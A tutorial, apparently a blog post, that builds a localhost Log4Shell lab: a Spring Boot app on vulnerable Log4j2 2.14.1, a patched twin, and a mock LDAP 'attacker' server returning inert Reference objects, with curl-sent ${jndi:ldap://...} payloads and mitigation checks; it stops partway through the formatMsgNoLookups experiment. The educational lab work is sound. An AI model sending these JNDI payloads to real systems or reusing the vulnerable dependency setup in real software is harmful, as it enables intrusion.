Simulating Log4Shell (CVE-2021-44228) with LDAP JNDI in Spring Boot

Nov 2026 · 27 min read

Building a Log4Shell lab using Spring Boot, Log4j2, and a mock LDAP server to observe JNDI lookup, LDAP Reference Object, object resolution, and the difference between lookup, remote class loading, and remote code execution.

An HTTP input that is subsequently written to a log can trigger a JNDI lookup in an application using a vulnerable version of Apache Log4j2.

If the input contains a JNDI expression, Log4j2 can process the lookup and cause the application to connect to an LDAP endpoint specified by that input.

This vulnerability is known as Log4Shell (CVE-2021-44228).

In historical attack scenarios, certain LDAP responses could participate in Java object resolution until, under specific runtime conditions, they led to class loading and code execution within the application process.

This article builds a lab using Spring Boot, Gradle, Log4j2, and three main components:

  1. Vulnerable App: a Spring Boot application using a historically affected version of Log4j2.

  2. Patched App: an identical Spring Boot application using a fixed version of Log4j2, as a comparison.

  3. LDAP Attacker Server: a mock Java LDAP server that returns plain entries and inert Reference Objects.

The proof is limited to LDAP communication, receipt of a Reference Object, and object resolution using a local inert factory. There is no remote class loading, executable payload, or remote command execution. Full lab code at java-spring-boot/log4shell-lab at master · Sch39/java-spring-boot

Ethical Disclaimer: All experiments are performed only in a locally owned environment. Vulnerable dependency versions are used for learning purposes only, must not be exposed to public networks, and must be run in an isolated environment.

Problem

Logging is generally considered a passive operation. An application receives input, then writes it to the console or a file.

However, in vulnerable versions of Log4j2, message lookup processing can cause certain expressions to be evaluated.

Several relevant conditions:

  • Unsafe message lookup: user-controlled input can trigger a JNDI lookup.

  • Transitive dependency: an application can use log4j-core through a transitive dependency without the developer being aware.

  • User-controlled input: HTTP headers, request parameters, usernames, and other fields can enter the logging pipeline.

  • Outbound connection: the application can attempt to contact an LDAP endpoint originating from the input.

  • Trust boundary: the application can connect to a directory server outside its internal infrastructure.

The last point is the main focus of this experiment.

Although this lab stops at object resolution, CVE-2021-44228 is still classified as remote code execution. What is tested here is the prerequisite for RCE, not RCE itself. In historical configurations (old JDK + javaCodebase), the same chain can lead to code execution.

Outcome

After following this tutorial, readers can:

  • Run a mock Java LDAP server with two fixtures.

  • Observe JNDI lookup and LDAP communication.

  • Understand the difference between an LDAP entry, an LDAP Reference Object, and object resolution.

  • Understand the behavioral difference between vulnerable Log4j2 and patched Log4j2.

  • Understand the behavioral difference between early JDK 8 and modern JDK (8u191+ / 17).

  • Understand why a lab without javaCodebase can still conceptually represent Log4Shell.

  • Understand emergency mitigations other than dependency updates.

  • Verify mitigation using a fixed version of Log4j.

Lab Architecture

The lab uses three components, all run manually on the host.

1. Vulnerable App

A Spring Boot application that receives HTTP requests and logs input using a vulnerable version of Log4j2.

Responsibilities:

  • Receive input from the client.

  • Process input through the logging pipeline.

  • Trigger JNDI lookup in the experiment.

  • Log communication results and errors.

2. Patched App

A Spring Boot application identical to the Vulnerable App, but using a fixed version of Log4j2.

Responsibilities:

  • Serve as a comparison to show that the same input no longer triggers a JNDI lookup.

  • Prove that mitigation works at the logging library level, not at the application level.

3. LDAP Attacker Server

A mock Java LDAP server representing an attacker-controlled endpoint.

Responsibilities:

  • Receive connections from the Vulnerable App.

  • Log LDAP requests.

  • Return responses according to the selected fixture.

  • Provide a Reference Object scenario that uses only a local inert factory.

  • Not provide remote Java classes or executable payloads.

Why This Lab Still Represents Log4Shell

A fair question: "if this lab does not include javaCodebase, has no remote class loading, and no command execution, is it still fair to call it a Log4Shell simulation?"

Yes, because Log4Shell is a chain consisting of several stages, and each stage can be tested separately:

  1. Message lookup — Log4j2 evaluates ${jndi:...} inside the input.

  2. JNDI lookup — the application connects to the endpoint specified by the input.

  3. LDAP response — the server returns an entry or a Reference Object.

  4. Object resolution — JNDI processes the object information.

  5. Remote class loading — the JVM loads a class from javaCodebase (only on old JDKs).

  6. Remote code execution — code runs in the target process.

This lab tests stages 1 through 4. Stages 5 and 6 are intentionally not provided, but success in stages 1–4 is an absolute prerequisite for stages 5–6. So by proving stages 1–4 in the lab, we prove that the Log4Shell chain can begin from input entering the logging pipeline.

What is intentionally omitted is the dangerous part of the chain. This is not a limitation of the lab, but a design choice that separates the mechanism from the exploitation.

Historical Context: Public PoCs

Public PoCs such as kozmer/log4j-shell-poc demonstrate the full Log4Shell chain on JDK 8u202: an Exploit class is served over an HTTP server, the LDAP server returns a Reference with javaCodebase pointing to that HTTP server, and the JDK loads and executes the class. This lab intentionally stops before that stage; what is tested is its prerequisite — lookup and Reference Object. Readers who want to understand the full mechanism historically can refer to that PoC outside this lab, with the understanding that it requires an old runtime and must not be run outside a truly isolated environment.

Differences Between Vulnerable JDK 8, Modern JDK 8, and JDK 17

The behavioral difference across JDKs is not about whether JNDI lookup occurs, but about whether the JVM is willing to load a class from javaCodebase after a Reference Object is received.

Runtime

trustURLCodebase default

Behavior when javaCodebase is present

JDK 8 before 8u121

true (RMI/COS)

RMI and COS Naming load remote classes

JDK 8 before 8u191

true (LDAP)

LDAP loads remote classes from javaCodebase

JDK 8u191+

false (LDAP)

LDAP does not load remote classes; only local factories are used

JDK 11, 17, 21

false

Same as 8u191+

Consequences for this lab:

  • On JDK 17 (and JDK 8u191+ for the LDAP case), javaCodebase is ignored. Object resolution can only reach local factories. That is why this lab still runs on JDK 17: what is tested is the lookup mechanism, Reference, and object resolution using a local factory.

  • On JDK 8 before 8u191, if javaCodebase is provided, the JVM will attempt to load a class from that URL. This is the historical path to RCE.

Lab Environment Warning

Use an isolated VM or local network namespace.

Requirements:

  • Do not expose application or LDAP ports to public networks.

  • Restrict outbound connections from the Vulnerable App.

  • Do not give the Vulnerable App internet access.

  • Do not give access to unnecessary host filesystem paths.

  • Do not use LDAP responses containing remote classes or executable payloads.

  • Stop all processes after the experiment is complete.

Because both Spring Boot applications and the LDAP Attacker Server run on the host, there is no Docker network isolation. Isolation must be done via host firewall or a separate network namespace if strict isolation is desired. For a personal lab, it is enough to ensure no ports are open to public networks.

Prerequisites

The following tools are assumed to be available:

  • SDKMAN.

  • Gradle CLI.

  • curl.

  • JDK 17 via SDKMAN.

Setup Java Environment

Use JDK 17 to run Gradle and the build process.

bash
sdk list java
sdk current java
sdk use java <jdk-17-identifier>
java -version

Replace <jdk-17-identifier> with an identifier available in SDKMAN.

Note the vendor, version, and patch level of the Java being used.

Purpose: Ensure the runtime version is known and reproducible.

Project Structure

text
log4shell-lab/
├── vulnerable-app/                 # Spring Boot + Log4j2 2.14.1 (port 8080)
│   ├── build.gradle
│   ├── settings.gradle
│   ├── gradlew
│   ├── gradle/wrapper/
│   └── src/main/
│       ├── java/dev/sch39/
│       │   ├── VulnerableAppApplication.java
│       │   ├── LogController.java
│       │   └── inert/
│       │       ├── InertReferenceObject.java
│       │       └── InertReferenceObjectFactory.java
│       └── resources/
│           └── log4j2.xml
├── patched-app/                    # Spring Boot + Log4j2 patched (port 8081)
│   ├── build.gradle
│   ├── settings.gradle
│   ├── gradlew
│   ├── gradle/wrapper/
│   └── src/main/
│       ├── java/dev/sch39/
│       │   ├── PatchedAppApplication.java
│       │   └── LogController.java
│       └── resources/
│           ├── application.properties
│           └── log4j2.xml
└── ldap-attacker-server/
    ├── build.gradle
    ├── settings.gradle
    ├── gradlew
    ├── gradle/wrapper/
    └── src/main/java/dev/sch39/attacker/
        ├── AttackerLdapServer.java
        ├── PlainEntryFixture.java
        └── InertReferenceFixture.java

Creating the Vulnerable App

Project Initialization

bash
mkdir -p log4shell-lab/vulnerable-app
cd log4shell-lab/vulnerable-app
gradle init \
  --type basic \
  --dsl groovy \
  --project-name vulnerable-app

gradle wrapper --gradle-version 7.3.3

Ensure gradle/wrapper/gradle-wrapper.properties uses the 7.3.3 distribution:

properties
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

Verify:

bash
./gradlew --version

Gradle Configuration

vulnerable-app/settings.gradle

groovy
rootProject.name = 'vulnerable-app'
enableFeaturePreview("VERSION_CATALOGS")

vulnerable-app/build.gradle

groovy
plugins {
    id 'java'
    id 'org.springframework.boot' version '2.6.1'
    id 'io.spring.dependency-management' version '1.0.11.RELEASE'
}

group = 'dev.sch39'
version = '0.0.1-SNAPSHOT'

java {
    toolchain {
        languageVersion = JavaLanguageVersion.of(17)
    }
}

configurations {
    configureEach {
        exclude group: 'org.springframework.boot',
                module: 'spring-boot-starter-logging'
    }
}

ext {
    set('log4j2.version', '2.14.1')
}

repositories {
    mavenCentral()
}

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web'
    implementation 'org.springframework.boot:spring-boot-starter-log4j2'
    implementation 'org.apache.logging.log4j:log4j-core:2.14.1'

    testImplementation 'org.springframework.boot:spring-boot-starter-test'
}

tasks.named('test') {
    useJUnitPlatform()
}

For historical reproduction, the project uses Spring Boot 2.6.1 and Log4j2 2.14.1.

The dependency configuration must ensure that spring-boot-starter-logging is not used and that the active logging implementation is Log4j2.

Because this version is vulnerable, this dependency should only be used in an isolated lab. Do not use it in general deployments.

Verify dependencies:

bash
./gradlew dependencies --configuration runtimeClasspath | grep log4j-core:2.14.1

Output:

bash
|    |    \--- org.apache.logging.log4j:log4j-core:2.14.1
|    +--- org.apache.logging.log4j:log4j-core:2.14.1 (*)
\--- org.apache.logging.log4j:log4j-core:2.14.1 (*)

Main Application

vulnerable-app/src/main/java/dev/sch39/VulnerableAppApplication.java

java
package dev.sch39;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class VulnerableAppApplication {

    public static void main(String[] args) {
        SpringApplication.run(VulnerableAppApplication.class, args);
    }
}

Log Controller

vulnerable-app/src/main/java/dev/sch39/LogController.java

java
package dev.sch39;

import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class LogController {

    private static final Logger log = LogManager.getLogger(LogController.class);

    @GetMapping("/log")
    public String log(@RequestParam String data) {
        log.info("User submitted: {}", data);
        return "logged";
    }

    @GetMapping("/resolve")
    public String resolve(@RequestParam String data) {
        try {
            Context ctx = new InitialContext();

            try {
                Object result = ctx.lookup(data);

                String resultType = result == null
                        ? "null"
                        : result.getClass().getName();

                boolean isReference = result instanceof Reference;

                log.info("Lookup result type: {}", resultType);
                log.info("Is Reference: {}", isReference);
                log.info("Lookup result: {}", result);

                return "Lookup successful"
                        + "\nType: " + resultType
                        + "\nIs Reference: " + isReference
                        + "\nResult: " + result;

            } finally {
                ctx.close();
            }

        } catch (NamingException e) {
            log.warn("JNDI lookup failed: {}", e.toString());
            return "Lookup failed: " + e.getClass().getSimpleName();
        } catch (Exception e) {
            log.error("Unexpected resolution error", e);
            return "Failed: " + e.getClass().getSimpleName();
        }
    }
}

Important differences:

  • /log uses the same path as Log4j2 in production: JndiLookup calls InitialContext.lookup() and prints the result via toString().

  • /resolve calls InitialContext.lookup() explicitly and inspects the result (getClass().getName(), instanceof Reference). This endpoint does not call NamingManager.getObjectInstance() manually, because the JNDI provider may resolve a Reference within the lookup() process itself.

  • /resolve is not an identical simulation of the Log4Shell path. It tests JNDI directly, whereas /log tests the Log4j2 message processing path.

Inert Local Factory

The core of Experiment B is: JNDI receives a Reference Object from LDAP, then attempts to resolve it by invoking an ObjectFactory already present on the local classpath. That factory only produces a marker object, executing nothing.

vulnerable-app/src/main/java/dev/sch39/inert/InertReferenceObject.java

java
package dev.sch39.inert;

/**
 * Marker object produced by InertReferenceObjectFactory.
 * Has no behavior, only stores resolution result metadata.
 */
public final class InertReferenceObject {

    private final String type;
    private final String source;
    private final boolean executed;

    public InertReferenceObject(String type, String source, boolean executed) {
        this.type = type;
        this.source = source;
        this.executed = executed;
    }

    public String getType()   { return type; }
    public String getSource() { return source; }
    public boolean isExecuted() { return executed; }

    @Override
    public String toString() {
        return "InertReferenceObject{" +
                "type='" + type + '\'' +
                ", source='" + source + '\'' +
                ", executed=" + executed +
                '}';
    }
}

vulnerable-app/src/main/java/dev/sch39/inert/InertReferenceObjectFactory.java

java
package dev.sch39.inert;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * ObjectFactory that only produces a marker object.
 *
 * Security contract:
 *  - Does not execute commands, does not open sockets, does not read files.
 *  - Does not perform class loading from external sources.
 *  - Only reads attributes actually sent by the lab LDAP server.
 *
 * This factory exists on the local classpath so JNDI can resolve
 * a Reference Object without needing a remote codebase.
 */
public class InertReferenceObjectFactory implements ObjectFactory {

    private static final org.apache.logging.log4j.Logger log =
            org.apache.logging.log4j.LogManager.getLogger(InertReferenceObjectFactory.class);

    @Override
    public Object getObjectInstance(Object obj,
                                    Name name,
                                    Context nameCtx,
                                    Hashtable<?, ?> environment) {

        // Only handle Reference; ignore other types.
        if (!(obj instanceof javax.naming.Reference)) {
            return null;
        }

        javax.naming.Reference ref = (javax.naming.Reference) obj;

        // Retrieve metadata sent by the server. All optional.
        String type = ref.getClassName() != null
                ? ref.getClassName()
                : "UNKNOWN";

        String source = "LOCAL_FACTORY";
        if (ref.get("source") != null) {
            source = String.valueOf(ref.get("source").getContent());
        }

        log.info("[LAB] InertReferenceObjectFactory invoked for type={}", type);

        // Marker: resolution succeeded, but no execution occurred.
        return new InertReferenceObject(type, source, false);
    }
}

Logging Configuration

vulnerable-app/src/main/resources/log4j2.xml

xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout
                pattern="%d{HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>

    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

This configuration uses a standard logging pattern. There is no special configuration to create an LDAP lookup.

Testing the Application

bash
cd log4shell-lab/vulnerable-app
./gradlew bootRun

Access http://127.0.0.1:8080/log?data=hello and confirm the input is logged.

Creating the Patched App

The Patched App is identical to the Vulnerable App, but uses a fixed version of Log4j2. The goal is a direct comparison: same input and payload, different behavior.

Project Initialization

bash
mkdir -p log4shell-lab/patched-app
cd log4shell-lab/patched-app
gradle init \
  --type basic \
  --dsl groovy \
  --project-name patched-app

gradle wrapper --gradle-version 7.3.3

Gradle Configuration

patched-app/settings.gradle

groovy
rootProject.name = 'patched-app'
enableFeaturePreview("VERSION_CATALOGS")

patched-app/build.gradle

groovy
plugins {
    id 'java'
    id 'org.springframework.boot' version '2.6.1'
    id 'io.spring.dependency-management' version '1.0.11.RELEASE'
}

group = 'dev.sch39'
version = '0.0.1-SNAPSHOT'

java {
    toolchain {
        languageVersion = JavaLanguageVersion.of(17)
    }
}

configurations {
    configureEach {
        exclude group: 'org.springframework.boot',
                module: 'spring-boot-starter-logging'
    }
}

ext {
    // Change to a fixed version. The example here uses 2.17.1
    // as a historical baseline. For production, use the
    // latest version that is still supported.
    set('log4j2.version', '2.17.1')
}

repositories {
    mavenCentral()
}

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web'
    implementation 'org.springframework.boot:spring-boot-starter-log4j2'

    testImplementation 'org.springframework.boot:spring-boot-starter-test'
}

tasks.named('test') {
    useJUnitPlatform()
}

Verify dependencies:

bash
./gradlew dependencies --configuration runtimeClasspath | grep log4j-core:2.17.1

Output:

bash
|    \--- org.apache.logging.log4j:log4j-core:2.17.1

Ensure no other log4j-core version is resolved.

Main Application and Log Controller

patched-app/src/main/java/dev/sch39/PatchedAppApplication.java

java
package dev.sch39;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class PatchedAppApplication {

    public static void main(String[] args) {
        SpringApplication.run(PatchedAppApplication.class, args);
    }
}

patched-app/src/main/java/dev/sch39/LogController.java

java
package dev.sch39;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class LogController {

    private static final Logger log =
            LogManager.getLogger(LogController.class);

    @GetMapping("/log")
    public String log(@RequestParam String data) {
        log.info("User submitted: {}", data);
        return "logged";
    }
}

The Patched App only needs /log. It does not need /resolve, because the goal is to prove that input no longer triggers a lookup. The inert/ classes are also unnecessary here; keep the Patched App classpath clean of lab-specific factories.

Logging and Port Configuration

patched-app/src/main/resources/log4j2.xml

xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout
                pattern="%d{HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>

    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

patched-app/src/main/resources/application.properties

properties
server.port=8081

Different ports allow both applications to run simultaneously.

Run app

plaintext
./gradlew bootRun

Setting Up the LDAP Attacker Server

The LDAP Attacker Server uses a mock Java server, not OpenLDAP.

The implementation uses com.unboundid:unboundid-ldapsdk because its API is concise and requires no external dependencies.

An alternative to the mock Java LDAP server in this article is marshalsec (marshalsec.jndi.LDAPRefServer), used by many public PoCs. marshalsec serves a Reference Object with a javaCodebase pointing to an HTTP server. This lab intentionally does not use marshalsec because the goal is to observe the mechanism without including javaCodebase.

Create the project directory:

bash
cd log4shell-lab
mkdir ldap-attacker-server
cd ldap-attacker-server
gradle init \
  --type basic \
  --dsl groovy \
  --project-name ldap-attacker-server

gradle wrapper --gradle-version 7.3.3

patched-app/settings.gradle

groovy
rootProject.name = 'ldap-attacker-server'
enableFeaturePreview("VERSION_CATALOGS")

ldap-attacker-server/build.gradle

groovy
plugins {
    id 'java'
    id 'application'
}

repositories { mavenCentral() }

dependencies {
    implementation 'com.unboundid:unboundid-ldapsdk:6.0.11'
}

application {
    mainClass = 'dev.sch39.attacker.AttackerLdapServer'
}

java {
    toolchain { languageVersion = JavaLanguageVersion.of(17) }
}

Fixture A: Plain LDAP Entry

This fixture returns a standard directory entry. Its purpose:

  • Prove LDAP communication.

  • Observe the search request.

  • Observe the server's response.

  • Separate lookup success from object resolution.

ldap-attacker-server/src/main/java/dev/sch39/attacker/PlainEntryFixture.java

java
package dev.sch39.attacker;

import com.unboundid.ldap.sdk.Entry;

/**
 * Fixture A: plain directory entry.
 *
 * Does not contain javaNamingReference, javaClassName,
 * javaFactory, or javaCodebase attributes. This entry only proves
 * that the application successfully contacted the LDAP server and
 * received a standard directory response.
 */
public final class PlainEntryFixture {
    private PlainEntryFixture() {}

    public static Entry build(String baseDn) {
        Entry entry = new Entry(baseDn);
        entry.addAttribute("objectClass", "top");
        entry.addAttribute("objectClass", "organizationalUnit");
        entry.addAttribute("ou", "lab");
        entry.addAttribute("description", "LAB_PLAIN_ENTRY");
        return entry;
    }
}

This entry does not have objectClass: javaNamingReference. Therefore JNDI will not treat it as a Reference Object, and object resolution will not be triggered. This is the main distinction between Experiment A and Experiment B.

Fixture B: Inert Reference Object

The server provides a Reference Object representation predetermined for the local experiment.

Implementation boundaries:

  • The factory must be available locally on the target classpath.

  • The factory may only produce a marker object.

  • The factory must not execute commands.

  • There must be no remote codebase.

  • There must be no class loading from the LDAP server.

  • There must be no object deserialization from untrusted sources.

This server must return a Reference with a RefAddr pointing to the local factory (dev.sch39.inert.InertReferenceObjectFactory) and must not include javaCodebase. This is crucial: without javaCodebase, JNDI will not attempt remote class loading.

ldap-attacker-server/src/main/java/dev/sch39/attacker/InertReferenceFixture.java

java
package dev.sch39.attacker;

import javax.naming.Reference;
import javax.naming.StringRefAddr;

/**
 * Builds a Reference Object that is safe for the lab.
 *
 * Principles:
 *  - className = name of the marker object on the vulnerable-app classpath.
 *  - factoryClassName = name of the LOCAL factory on the vulnerable-app classpath.
 *  - NO RefAddr of type "javaCodebase".
 *  - NO URL to an external HTTP server.
 *  - Only static metadata the factory can read.
 */
public final class InertReferenceFixture {

    public static final String LOCAL_FACTORY_CLASS =
            "dev.sch39.inert.InertReferenceObjectFactory";

    private InertReferenceFixture() {}

    public static Reference build() {
        // arg1 = className (marker object name)
        // arg2 = factoryClassName (local factory)
        // arg3 = factoryLocation (null = local, no codebase)
        Reference ref = new Reference(
                "dev.sch39.inert.InertReferenceObject",
                LOCAL_FACTORY_CLASS,
                null);

        ref.add(new StringRefAddr("source", "LAB_LDAP_ATTACKER_SERVER"));
        ref.add(new StringRefAddr("status", "RESOLVED"));
        ref.add(new StringRefAddr("executed", "false"));

        // Intentionally NOT adding:
        //   ref.add(new StringRefAddr("javaCodebase", "http://..."));
        return ref;
    }
}

Main Server with Two Fixtures

The server serves both fixtures at once. The fixture is selected based on the base DN in the search request:

  • ou=entry,dc=lab,dc=local → Fixture A (plain entry)

  • ou=reference,dc=lab,dc=local → Fixture B (inert Reference Object)

  • Other base DNs → NO_SUCH_OBJECT

ldap-attacker-server/src/main/java/dev/sch39/attacker/AttackerLdapServer.java

java
package dev.sch39.attacker;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import java.net.InetAddress;

public class AttackerLdapServer {

    private static final int PORT = 1389;
    private static final String BASE_DN = "dc=lab,dc=local";

    static final String ENTRY_DN     = "ou=entry," + BASE_DN;
    static final String REFERENCE_DN = "ou=reference," + BASE_DN;

    public static void main(String[] args) throws Exception {

        InMemoryDirectoryServerConfig cfg =
                new InMemoryDirectoryServerConfig(BASE_DN);

        cfg.setListenerConfigs(
                InMemoryListenerConfig.createLDAPConfig(
                        "ldap",
                        InetAddress.getByName("127.0.0.1"),
                        PORT,
                        null)); // plaintext, lab only

        cfg.addInMemoryOperationInterceptor(new DualFixtureInterceptor());

        InMemoryDirectoryServer server = new InMemoryDirectoryServer(cfg);
        server.startListening();

        System.out.println("[ldap-attacker-server] listening on 127.0.0.1:" + PORT);
        System.out.println("[ldap-attacker-server] mode     = DUAL");
        System.out.println("[ldap-attacker-server] fixture A = " + ENTRY_DN);
        System.out.println("[ldap-attacker-server] fixture B = " + REFERENCE_DN);
        System.out.println("[ldap-attacker-server] remote class loading = DISABLED");

        Thread.currentThread().join();
    }

    static final class DualFixtureInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            System.out.println("[ldap-attacker-server] search received: " + base);

            try {
                Entry entry;
                String kind;

                if (ENTRY_DN.equalsIgnoreCase(base)) {
                    entry = PlainEntryFixture.build(base);
                    kind = "entry";
                } else if (REFERENCE_DN.equalsIgnoreCase(base)) {
                    entry = buildReferenceEntry(base);
                    kind = "reference";
                } else {
                    System.out.println("[ldap-attacker-server] unknown base DN: " + base);
                    result.setResult(new LDAPResult(0, ResultCode.NO_SUCH_OBJECT));
                    return;
                }

                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                System.out.println("[ldap-attacker-server] sent "
                        + kind + " response for " + base);

            } catch (Exception e) {
                System.out.println("[ldap-attacker-server] error: " + e);
                result.setResult(new LDAPResult(
                        0, ResultCode.OPERATIONS_ERROR));
            }
        }

        private static Entry buildReferenceEntry(String baseDn) {
            Entry entry = new Entry(baseDn);
            Reference ref = InertReferenceFixture.build();

            entry.addAttribute("objectClass", "javaNamingReference");
            entry.addAttribute("javaClassName", ref.getClassName());

            if (ref.getFactoryClassName() != null) {
                entry.addAttribute("javaFactory", ref.getFactoryClassName());
            }

            // javaReferenceAddress must be formatted as:
            //   #<index>#<type>#<value>
            // per the JNDI/RFC 2713 specification.
            for (int i = 0; i < ref.size(); i++) {
                javax.naming.RefAddr addr = ref.get(i);
                String formatted = "#" + i + "#" + addr.getType() + "#" + addr.getContent();
                entry.addAttribute("javaReferenceAddress", formatted);
            }

            return entry;
        }
    }
}

Technical note: javaNamingReference is the marker that the entry is intended as a Reference; what determines whether resolution succeeds is the javaFactory pointing to a local class, not javaCodebase. Because javaCodebase is absent, JNDI will only look for a factory on the local classpath.

Build and Run

Build on the host:

bash
cd log4shell-lab/ldap-attacker-server
sdk use java <jdk-17-identifier>
./gradlew clean installDist

Run in a separate terminal:

bash
./build/install/ldap-attacker-server/bin/ldap-attacker-server

Initial output:

text
[ldap-attacker-server] listening on 127.0.0.1:1389
[ldap-attacker-server] mode     = DUAL
[ldap-attacker-server] fixture A = ou=entry,dc=lab,dc=local
[ldap-attacker-server] fixture B = ou=reference,dc=lab,dc=local
[ldap-attacker-server] remote class loading = DISABLED

Running the Lab

Open three terminals.

Terminal 1 — LDAP Attacker Server:

bash
cd log4shell-lab/ldap-attacker-server
./build/install/ldap-attacker-server/bin/ldap-attacker-server

Terminal 2 — Vulnerable App:

bash
cd log4shell-lab/vulnerable-app
sdk use java <jdk-17-identifier>
./gradlew bootRun

Terminal 3 — Patched App:

bash
cd log4shell-lab/patched-app
sdk use java <jdk-17-identifier>
./gradlew bootRun

Ensure:

  • LDAP Attacker Server listens on 127.0.0.1:1389.

  • Vulnerable App runs on 127.0.0.1:8080.

  • Patched App runs on 127.0.0.1:8081.

Experiment Scenarios

Scenario

Target

Fixture

Purpose

A

Vulnerable App

entry

Observe lookup

B

Vulnerable App

reference

Observe Reference and object resolution

C

Patched App

entry and reference

Prove lookup is not triggered

D

Vulnerable App + formatMsgNoLookups=true

entry and reference

Prove emergency mitigation works

E

Conceptual

reference + javaCodebase (not provided)

Understand JDK differences

Experiment A: LDAP Lookup

Payload to the Vulnerable App:

bash
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}' \
  http://127.0.0.1:8080/log

Observe:

  • Vulnerable App log records the raw input.

  • LDAP Attacker Server log shows search received and sent entry response.

Vulnerable App Server:

bash
21:32:51 [http-nio-8080-exec-1] INFO  dev.sch39.LogController - User submitted: com.sun.jndi.ldap.LdapCtx@32c9468f

In the LDAP Attacker Server log:

text
[ldap-attacker-server] search received: ou=entry,dc=lab,dc=local
[ldap-attacker-server] sent entry response for ou=entry,dc=lab,dc=local

This proves the lookup occurs, but does not yet prove object resolution. The entry fixture intentionally does not attach Reference attributes.

Experiment B: Reference Object Resolution

Payload to the Vulnerable App:

bash
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local}' \
  http://127.0.0.1:8080/log

Observe:

  • LDAP Attacker Server log shows sent reference response.

bash
[ldap-attacker-server] search received: ou=reference,dc=lab,dc=local
[ldap-attacker-server] sent reference response for ou=reference,dc=lab,dc=local
  • Vulnerable App log shows the Reference.toString() output, e.g.:

    text
    User submitted: Reference Class Name: dev.sch39.inert.InertReferenceObject
    Type: source
    Content: LAB_LDAP_ATTACKER_SERVER
    Type: status
    Content: RESOLVED
    Type: executed
    Content: false

    This indicates the Reference was successfully constructed. However, the ObjectFactory is not necessarily invoked, because Log4j2 only calls lookup() and prints the result via toString().

To inspect the lookup() result directly, use the /resolve endpoint:

bash
curl --get --data-urlencode \
  'data=ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local' \
  http://127.0.0.1:8080/resolve

Observe the /resolve log:

  • Type shows the type of object returned by the JNDI provider.

  • Is Reference: true means the lookup result is still a Reference.

  • Is Reference: false does not automatically mean no resolution occurred. The provider may have already returned the resolved object.

If Is Reference: false and Type is dev.sch39.inert.InertReferenceObject, the provider has resolved the Reference using the local factory. If Is Reference: true, the provider returned the Reference as-is; this is also a valid result and still proves that the Reference was successfully constructed from the LDAP response.

In both cases, there is no remote class loading and no command execution. What changes is only whether the provider decides to resolve the Reference into a concrete object within lookup().

Experiment C: Patched App

Send the same payload to the Patched App:

bash
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}' \
  http://127.0.0.1:8081/log

curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local}' \
  http://127.0.0.1:8081/log

Observe:

  • Patched App log records the input as-is, as the literal string ${jndi:ldap://...}.

  • LDAP Attacker Server log does not show a new search received.

  • There is no outbound connection to 127.0.0.1:1389 from the Patched App.

Expected result:

text
# Patched App
User submitted: ${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}

# LDAP Attacker Server
(no new search received lines)

This difference shows that mitigation works at the Log4j2 level: message lookup is no longer evaluated.

Experiment D: Emergency Mitigation formatMsgNoLookups

In addition to patching the dependency, vulnerable versions of Log4j2 can be temporarily mitigated with the log4j2.formatMsgNoLookups=true property. This experiment proves it on the same application.

Stop the Vulnerable App, then rerun with the flag:

bash
cd log4shell-lab/vulnerable-app
JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" ./gradlew bootRun

Send the same payload:

bash
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}' \
  http://127.0.0.1:8080/log

curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local}' \
  http://127.0.0.1:8080/log

Log

bash
21:50:20 [http-nio-8080-exec-4] INFO  dev.sch39.LogController - User submitted: ${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}
bash
